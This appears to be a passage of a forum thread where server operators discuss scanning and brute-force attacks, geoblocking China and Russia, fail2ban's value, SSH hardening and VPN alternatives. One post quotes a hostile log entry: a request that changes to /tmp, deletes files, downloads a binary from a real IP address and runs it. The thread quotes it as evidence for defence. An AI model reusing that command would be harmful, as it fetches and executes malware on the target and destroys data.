I'm still thinking about adding some Chinese forbidden texts to my headers to block them using their own firewall. Recently Russian IPS started to attack me as well, so perhaps adding something about the war would help block them as well? Any ideas from you guys?
Who's Attacking My Server?
111–120 of 231 posts
Re: Who's Attacking My Server?
#112Earlier quoted context omitted.
does anyone here recognize the difference between civilians and participants in armed conflict? medical in particular, right?
Tell that to the Russians bombing civilian targets in Ukraine. If the worst happening to Russian civilians right now is that they can’t access someone’s blog, well, I can think of far worse things for civilians to have to deal with.
I'm still undecided as to whether closing maccy d's is a good thing or a bad thing (for them).
Re: Who's Attacking My Server?
#113I just ban China entirely from accessing my server. There's nothing on it a Chinese person could be interested in, just personal stuff and a private forum. Doing so has tremendously reduced the overall (remaining) abuse traffic volume. It's quite easy and efficient to do this using IPSet. IP ranges associated with China are available on the net.
That's kinda against the spirit of the Internet, well, what it should be IMO.
But I do also ban, only temporarily. I found that a lot of IPs just stop reappearing/retrying, likely because they blacklist my IP and move on.
Re: Who's Attacking My Server?
#114I'm still thinking about adding some Chinese forbidden texts to my headers to block them using their own firewall. Recently Russian IPS started to attack me as well, so perhaps adding something about the war would help block them as well? Any ideas from you guys?
Re: Who's Attacking My Server?
#115Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
Thanks, I was unaware of this---I initially (naively?) thought that being banned would at least deter some wannabe attackers. In your experience, does it do anything if I start collecting some reports on repeat offenders and notify their ISP? Or is that just more wishful thinking of my part?
I don't think this idea is aligned with how these types of attacks actually work. The dumb stuff like this is almost entirely automated, nobody will notice enough to be deterred by it. Possibly whoever is running it will get a list of servers where the bruteforce login attempts worked, or maybe they just get some kind of low-effort thing like cryptominer or spam server installed automatically.
If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.
Re: Who's Attacking My Server?
#116Geo fence them. There is no ROI to providing value to Russia or their partners. They only serve as launchpads for cyber attacks and recon anyway. Chances are any organic Russian would be forbidden from directly viewing your page anyway, so it's literally all bots. Organic Russians come from proxys and VPNs. Russia doesn't reciprocate knowledge or technology or philosophy or anything with value. Primary Russian digita…
I hate Russia right now, but geofencing is just... bad.
I've been geofenced and blocked my whole life, being from a small country no one gives a shit about. If not for the Internet, I'd likely be way more influenced by general media and be a pro-Russian usefu...less idiot. Because there would be no alternative, no way to learn and decide for myself.
So just my opinion, every person who can be influenced by western ideals (yes, I'm aware they're far from perfect) is worth it. Perhaps one of them can become someone of influence, either at home or as an immigrant.
Am I worth it? No. I don't add much to anything. But neither do the vast majority of Americans and Europeans. I'd just rather have a Russian/Chinese/Pakistani/Iranian/you name it as a friend than as an enemy.
If the price is learning proper configuration and/or a single core MIPS processor working overtime, I'd say it's worth it.
Re: Who's Attacking My Server?
#117Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
Indeed. The author could have spent 15 minutes setting up Tailscale [0] and not expose any listening administration ports to the Internet at all. If they wanted to avoid using a hosted service, Wireguard alone is incredibly defensive against attackers who do not have access to the secret material. Tailscale basically just adds some NAT traversal [1] and OIDC login wrappers. [0]: https://tailscale.com/ [1]: https://ta…
You don’t add tailscale if you care about open source.
Re: Who's Attacking My Server?
#118I'd assume that most attacks are coming not from attackers directly, but from some sort of hacked devices in some other country, either webcam with root access or similar, maybe even proxy servers. Would be interesting to match malicious IP addresses with ones indexed by shodan to test this theory.
Re: Who's Attacking My Server?
#119Earlier quoted context omitted.
There hasn't been a pre-auth remote vulnerability in stock OpenSSH since 2002. It is not for lack of looking. OpenSSH is one of the hardest targets on the Internet: I trust my kernel less.
I've been enough in the SSH code to be somewhat terrified by it. The main server loop has so many nested macro conditionals it's exceptionally difficult to read precisely. That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.
qmail has one of the most notoriously inscrutable codebases of all time, and it has a startlingly good track record, because there's a coherent security design behind it; the same --- to a greater extent! --- goes for OpenSSH.
Re: Who's Attacking My Server?
#120Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…
I have a separate log file for the default vhost that's not parsed by log aggregation tools. Most scanners just hit your IP rather than an actual hostname (unless your site is very popular and well-known), so most spam ends up there. That keeps your actual log file much cleaner.
https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...